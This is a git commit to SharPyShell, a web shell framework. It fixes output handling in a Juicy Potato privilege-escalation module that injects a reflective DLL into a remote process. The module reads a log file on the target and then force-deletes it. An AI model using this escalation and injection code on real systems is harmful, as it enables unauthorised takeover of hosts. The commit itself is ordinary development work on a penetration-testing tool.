fixed a bug in privesc_juicy_potato module

This commit is contained in:
antonioCoco
2019-03-24 21:36:44 +01:00
parent 0592d0cbf5
commit 8f7af5d05c
2 changed files with 6 additions and 4 deletions
+1 -1
View File
@@ -1,7 +1,7 @@
import sys
import os
sharpyshell_version='1.1.1'
sharpyshell_version='1.1.2'
header = '#SharPyShell v' + sharpyshell_version + ' - @splinter_code'
banner = """
+5 -3
View File
@@ -190,9 +190,11 @@ class Privesc_juicy_potato(Module):
else:
logfile = self._module_settings['env_directory'] + '\\' + random_generator()
print '\n\nInjecting Reflective DLL into remote process...'
print self.__run_reflective_dll_version(cmd, custom_shellcode_path, logfile, clsid)
print 'Reflective DLL injection executed!\n\n\nOutput of juicy potato:\n\n'
response = self.exec_cmd_module_object.run(['type ' + logfile + ' & del /f /q ' + logfile])
response = self.__run_reflective_dll_version(cmd, custom_shellcode_path, logfile, clsid)
response += '\nReflective DLL injection executed!\n\n'
if custom_shellcode_path == 'default':
response += '\nOutput of juicy potato:\n\n'
response += self.exec_cmd_module_object.run(['type ' + logfile + ' & del /f /q ' + logfile])
parsed_response = self._parse_response(response)
except ModuleException as module_exc:
parsed_response = str(module_exc)